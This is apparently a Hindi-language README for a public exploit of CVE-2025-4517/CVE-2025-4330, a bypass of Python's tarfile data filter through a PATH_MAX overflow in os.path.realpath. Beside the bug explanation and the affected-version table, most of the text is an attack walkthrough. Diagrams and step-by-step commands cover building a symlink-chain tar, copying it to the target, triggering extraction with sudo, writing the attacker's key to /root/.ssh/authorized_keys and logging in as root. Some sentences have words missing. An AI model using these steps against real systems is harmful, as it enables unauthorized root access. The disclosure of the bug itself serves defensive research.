
Python tarfile डेटा फ़िल्टर बाईपास, os.path.realpath() में PATH_MAX ओवरफ़्लो के माध्यम से - CVE-2025-4517 / CVE-2025-4330
tarfile डेटा फ़िल्टर बाईपास PATH_MAX ओवरफ़्लो द्वारालेखक: 0xDTC सीवीई: CVE-2025-4517 / CVE-2025-4330 परामर्श: GHSA-6r6c-684h-9j7p CPython सुधार: PR #135037
Python का tarfile.extractall(filter="data") पथ ट्रैवर्सल (पूर्ण पथ, .. अनुक्रम, और गंतव्य से बाहर निकलने वाले सिमलिंक) को रोककर टार आर्काइव को सुरक्षित रूप से निकालने के लिए माना जाता है। हालाँकि, os.path.realpath(strict=False) में एक बग इस फ़िल्टर को पूरी तरह बाईपास करने की अनुमति देता है।
जब हल किया गया पथ PATH_MAX (Linux पर 4096 बाइट्स) से अधिक हो जाता है, तो चुपचाप सिमलिंक को हल करना बंद कर देता है और पर वापस आ जाता है। इसका मतलब है कि एक सावधानीपूर्वक तैयार की गई सिमलिंक श्रृंखला Python को यह सोचने पर मजबूर कर सकती है कि एक सिमलिंक निष्कर्षण निर्देशिका के अंदर हल होता है, जबकि वास्तव में यह तक बच जाता है।
os.path.realpath()/| शाखा | प्रभावित | सुधारित |
|---|---|---|
| 3.12.x | 3.12.0 – 3.12.10 | 3.12.11 |
| 3.13.x | 3.13.0 – 3.13.3 | 3.13.4 |
| 3.14.x | 3.14.0a1 – 3.14.0a7 | 3.14.0b1 |
एक्सप्लॉइट एक टार आर्काइव बनाता है जिसमें शामिल होता है:
realpath को धोखा देता हैमुख्य अंतर्दृष्टि: a/b/c/.../p को छोटे सिमलिंक के माध्यम से फॉलो करना PATH_MAX के अंदर रहता है, लेकिन realpath प्रत्येक को ~240-वर्ण के वास्तविक निर्देशिका नाम में विस्तारित करता है। जब तक यह 254-वर्ण के लिंक नाम पर पहुँचता है, हल किया गया पथ 4096 बाइट्स से अधिक हो जाता है और realpath हार मान लेता है — चुपचाप एक गलत परिणाम लौटाता है।
flowchart TD
A["हमलावर दुर्भावनापूर्ण tar बनाता है"] --> B["tar में शामिल:
16 dir/symlink जोड़े
254-वर्ण एस्केप सिमलिंक
'एस्केप' सिमलिंक / की ओर
पेलोड फ़ाइल"]
B --> C["लक्ष्य निकालता है
tarfile.extractall(filter='data') के साथ"]
C --> D{"Python सिमलिंक हल करता है
os.path.realpath() के माध्यम से"}
D --> E["छोटे सिमलिंक a→ddd...d को फॉलो करता है
हल किया गया पथ प्रत्येक चरण के साथ बढ़ता है"]
E --> F{"हल किए गए पथ की लंबाई
> PATH_MAX (4096)?"}
F -->|"नहीं (सामान्य)"| G["realpath सही ढंग से हल करता है
फ़िल्टर द्वारा सिमलिंक अवरुद्ध ✓"]
F -->|"हाँ (ओवरफ़्लो!)"| H["realpath हल करना बंद कर देता है
स्ट्रिंग हेरफेर पर वापस आ जाता है"]
H --> I["Python सोचता है कि सिमलिंक
निष्कर्षण निर्देशिका के अंदर हल होता है"]
I --> J["फ़िल्टर सिमलिंक को पास कर देता है ✗"]
J --> K["OS सिमलिंक को सही ढंग से फॉलो करता है
'एस्केप' / पर हल होता है"]
K --> L["पेलोड डिस्क पर मनमानी फ़ाइल में लिखा जाता है"]
style F fill:#ff6b6b,color:#fff
style H fill:#ff6b6b,color:#fff
style J fill:#ff6b6b,color:#fff
style L fill:#ff6b6b,color:#fff
style G fill:#51cf66,color:#fffsequenceDiagram
participant A as हमलावर मशीन
participant T as लक्ष्य मशीन
Note over A: चरण 1 — तैयारी
A->>A: SSH कुंजी जोड़ी उत्पन्न करें (ssh-keygen)
A->>A: एक्सप्लॉइट चर कॉन्फ़िगर करें<br/>(DEST_DIR, DEPTH_TO_ROOT, आदि)
A->>A: CVE-2025-4517.py या .go चलाएँ<br/>दुर्भावनापूर्ण tar उत्पन्न करने के लिए
Note over A,T: चरण 2 — वितरण
A->>T: दुर्भावनापूर्ण tar को लक्ष्य पर स्थानांतरित करें<br/>(scp, wget, curl, ftp, आदि)
T->>T: tar को संवेदनशील स्क्रिप्ट द्वारा सुलभ<br/>स्थान पर रखें
Note over T: चरण 3 — शोषण
T->>T: संवेदनशील Python स्क्रिप्ट के माध्यम से<br/>निष्कर्षण ट्रिगर करें
T->>T: Python tarfile.extractall(filter="data") कॉल करता है
Note over T: Python क्या देखता है बनाम वास्तविकता
T->>T: realpath() PATH_MAX पर ओवरफ़्लो होता है
T->>T: फ़िल्टर सोचता है "एस्केप" सिमलिंक सुरक्षित है
T->>T: OS "एस्केप" को फॉलो करता है → / पर हल होता है
T->>T: पेलोड /root/.ssh/authorized_keys में लिखा जाता है
Note over A,T: चरण 4 — पहुँच
A->>T: लिखी गई कुंजी का उपयोग करके root के रूप में SSH
T-->>A: रूट शेल प्राप्त हुआgraph LR
subgraph "टार सदस्य (क्रम में निकाले गए)"
D1["📁 ddd...d/"] --> S1["🔗 a → ddd...d"]
D2["📁 ddd...d/ddd...d/"] --> S2["🔗 ddd...d/b → ddd...d"]
D3["📁 ...16 स्तर..."] --> S3["🔗 .../p → ddd...d"]
S4["🔗 a/b/.../p/lll...254...l<br/>→ ../../ × 16"]
S5["🔗 एस्केप<br/>→ a/b/.../p/lll...l/../../ × DEPTH"]
F1["📄 एस्केप/root/.ssh/authorized_keys<br/>(पेलोड सामग्री)"]
end
S1 -.->|"छोटा पथ<br/>छोटा रहता है"| S2
S2 -.-> S3
S3 -.-> S4
S4 -.->|"254 वर्ण PATH_MAX को<br/>पार कर देते हैं"| S5
S5 -.->|"/ पर हल होता है"| F1दोनों स्क्रिप्ट्स में शीर्ष पर एक कॉन्फ़िगरेशन अनुभाग है जिसमें ये चर हैं:
| चर | विवरण | उदाहरण |
|---|---|---|
DEST_DIR | लक्ष्य पर निष्कर्षण निर्देशिका का पूरा पथ | /tmp/staging/extract_dir/ |
DEPTH_TO_ROOT | / से DEST_DIR तक निर्देशिकाओं की संख्या | 4 के लिए /opt/app/staging/dir/ |
TARGET_FILE | / के सापेक्ष लिखने की फ़ाइल | root/.ssh/authorized_keys |
PAYLOAD | लक्ष्य फ़ाइल में लिखने की सामग्री | आपकी SSH सार्वजनिक कुंजी |
OUTPUT | आउटपुट टार फ़ाइल नाम | लक्ष्य के अपेक्षित पैटर्न से मेल खाना चाहिए |
विकल्प A: Python
# 1. Generate SSH keypair
ssh-keygen -t ed25519 -f root_key -N ''
# 2. Edit CVE-2025-4517.py — update DEST_DIR, DEPTH_TO_ROOT, PAYLOAD, OUTPUT
# 3. Generate the malicious tar
python3 CVE-2025-4517.py
# 4. Transfer to target
scp backup_99.tar user@target:/path/to/backups/
विकल्प B: Go
# 1. Generate SSH keypair
ssh-keygen -t ed25519 -f root_key -N ''
# 2. Edit CVE-2025-4517.go — update destDir, depthToRoot, payload, output
# 3. Generate the malicious tar
go run CVE-2025-4517.go
# 4. Transfer to target
scp backup_99.tar user@target:/path/to/backups/
# Trigger extraction via the vulnerable Python script
# The exact command depends on how the target script is invoked
# Example:
sudo /usr/bin/python3 /path/to/vulnerable_script.py --backup backup_99.tar --restore extract_dir
# SSH as root using the planted key
ssh -i root_key root@target
/ से आपके निष्कर्षण पथ तक निर्देशिकाओं की संख्या गिनें:
/tmp/staging/extract_dir/
(1) (2) (3)
DEPTH_TO_ROOT = 3
/var/lib/app/data/staging/
(1) (2) (3) (4) (5)
DEPTH_TO_ROOT = 5
/opt/restore/backups/output_dir/
(1) (2) (3) (4)
DEPTH_TO_ROOT = 4
कोई भी Python स्क्रिप्ट जो प्रभावित संस्करण पर tarfile.extractall() का उपयोग filter="data" के साथ करती है, संभावित रूप से शोषणीय है:
import tarfile
with tarfile.open("archive.tar", "r") as tar:
tar.extractall(path="/some/directory", filter="data") # VULNERABLE
filter="data" को टार पथ ट्रैवर्सल हमलों को रोकने के लिए एक सुरक्षा उपाय के रूप में पेश किया गया था। विडंबना यह है कि भेद्यता उसी तंत्र (os.path.realpath) में मौजूद है, जिस पर फ़िल्टर सिमलिंक लक्ष्यों को मान्य करने के लिए निर्भर करता है।
यह उपकरण केवल अधिकृत सुरक्षा परीक्षण, शैक्षिक उद्देश्यों और अनुसंधान के लिए प्रदान किया गया है। इसका उपयोग केवल उन प्रणालियों के विरुद्ध करें जिनके आप स्वामी हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट लिखित अनुमति है। कंप्यूटर सिस्टम में अनधिकृत पहुँच अवैध है। लेखक इस उपकरण के किसी भी दुरुपयोग के लिए जिम्मेदार नहीं है।